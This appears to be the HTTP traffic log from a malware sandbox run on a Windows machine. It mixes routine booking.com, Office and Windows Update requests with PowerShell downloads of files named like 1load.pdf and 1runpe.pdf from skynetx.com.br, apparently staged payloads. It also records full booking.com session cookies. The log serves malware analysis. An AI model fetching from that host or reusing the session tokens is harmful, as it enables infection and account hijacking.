Source: global traffic	HTTP traffic detected: GET /ec/e.html?name=ecid HTTP/1.1Host: saa.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://account.booking.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libs/acc-clientlib/v5/clientlib.js HTTP/1.1Host: xx.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1load.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/challenge.js HTTP/1.1Host: d8c14d4960ca.edge.sdk.awswaf.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b0bkldkg6hejew1y.js?hs1wxq1xi0kkzaob=doregtzf&7vh2vy0pyfc6f8vk=1a0be17c-3152-46c0-a97b-914483824c57 HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAzmg4WWYG_lEZodme_mOHkrjZUjotsdM-RcKtEW_AnmFDq_Ny0v4QmVTRXJky_b3sasCET3cSQ-iTaS1D-XqSE4xBMpEw
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ytlZGP63T2+BVG4&MD=KL9+HNKk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ec/e.html?name=ecid HTTP/1.1Host: saa.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
Source: global traffic	HTTP traffic detected: GET /libs/datavisor/20231228/sdk.js HTTP/1.1Host: xx.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1method.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /license/2/1msg.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripttemplates/202408.1.0/assets/otCommonStyles.css HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://account.booking.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /license/2/1runpe.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/challenge.js HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dedge/zd/zd-service.html HTTP/1.1Host: ls.cdn-gw-dv.vipConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ping HTTP/1.1Host: booking.gw-dv.vipConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://account.booking.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /huHzPQWJeNImlm9V?26cdd7e71f36df13=xUwLVR46EJqgJJxHUbzsnxRtavHAvhnUqeZAGBvuws4v1p3U1RemkKwXorSHPXzjn87GMkkz9Wko-M8gNTyWbEdTpxYtncISQcd8WLHSjTsXDJPm6OuKX3sWNjrB6Me0WsFwZ2LIevrCwVYInEj12D9oWeie6c-1CQFYUsWre8ShyOHBo7BwGh-xswuAYtGjTWx5jXgXcgNCQzNo&jb=353926246a736d773555696e66677771246a7b6f35556b666c6f77732d30383330246a7162753d4168726d6f6d246a736035436a706f65652d3032393937 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /p-FHo0HUDOEv9fjh?180b8f734998350a=caAGBUAg9lBFu3V0ESghdWllttueUM_trDuAMZebskwgciR3TFk4EP1iUhhxcoXyiPi5ErnPtIwdnmoyRKsQDUWfYqx0ZHRInE9qMiJDJRgCU1IqSPzisuHma-LOAqGQNtRHiGcoxzCvIW8FLHSaBotMLVTZwLbHaUlRYmg HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
Source: global traffic	HTTP traffic detected: GET /3vOSVChBca8mxq54?f9b74c41f0f5e233=Elw3xMb-B-c67pAdASjEhN4msh_to4AKxSJ0P-88Ra5T_K4A4iPxEsv2YNfCLZr3dHJ9i1O3bsdDwkseyKiP4wCA1r6HREV-OutOviWaOVExfW2DaCMjePuuubS0Vtc0pOzxWmWJPvdKrePsLQaR7hAFZXRLzB7AivWEv2A HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
Source: global traffic	HTTP traffic detected: GET /raphael_cs HTTP/1.1Host: booking.ck123.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://account.booking.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripttemplates/202408.1.0/assets/otCommonStyles.css HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1tronbat.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /p-FHo0HUDOEv9fjh?180b8f734998350a=caAGBUAg9lBFu3V0ESghdWllttueUM_trDuAMZebskwgciR3TFk4EP1iUhhxcoXyiPi5ErnPtIwdnmoyRKsQDUWfYqx0ZHRInE9qMiJDJRgCU1IqSPzisuHma-LOAqGQNtRHiGcoxzCvIW8FLHSaBotMLVTZwLbHaUlRYmg HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
Source: global traffic	HTTP traffic detected: GET /3vOSVChBca8mxq54?f9b74c41f0f5e233=Elw3xMb-B-c67pAdASjEhN4msh_to4AKxSJ0P-88Ra5T_K4A4iPxEsv2YNfCLZr3dHJ9i1O3bsdDwkseyKiP4wCA1r6HREV-OutOviWaOVExfW2DaCMjePuuubS0Vtc0pOzxWmWJPvdKrePsLQaR7hAFZXRLzB7AivWEv2A HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
Source: global traffic	HTTP traffic detected: GET /ping HTTP/1.1Host: booking.gw-dv.vipConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /huHzPQWJeNImlm9V?26cdd7e71f36df13=xUwLVR46EJqgJJxHUbzsnxRtavHAvhnUqeZAGBvuws4v1p3U1RemkKwXorSHPXzjn87GMkkz9Wko-M8gNTyWbEdTpxYtncISQcd8WLHSjTsXDJPm6OuKX3sWNjrB6Me0WsFwZ2LIevrCwVYInEj12D9oWeie6c-1CQFYUsWre8ShyOHBo7BwGh-xswuAYtGjTWx5jXgXcgNCQzNo&jb=353926246a736d773555696e66677771246a7b6f35556b666c6f77732d30383330246a7162753d4168726d6f6d246a736035436a706f65652d3032393937 HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
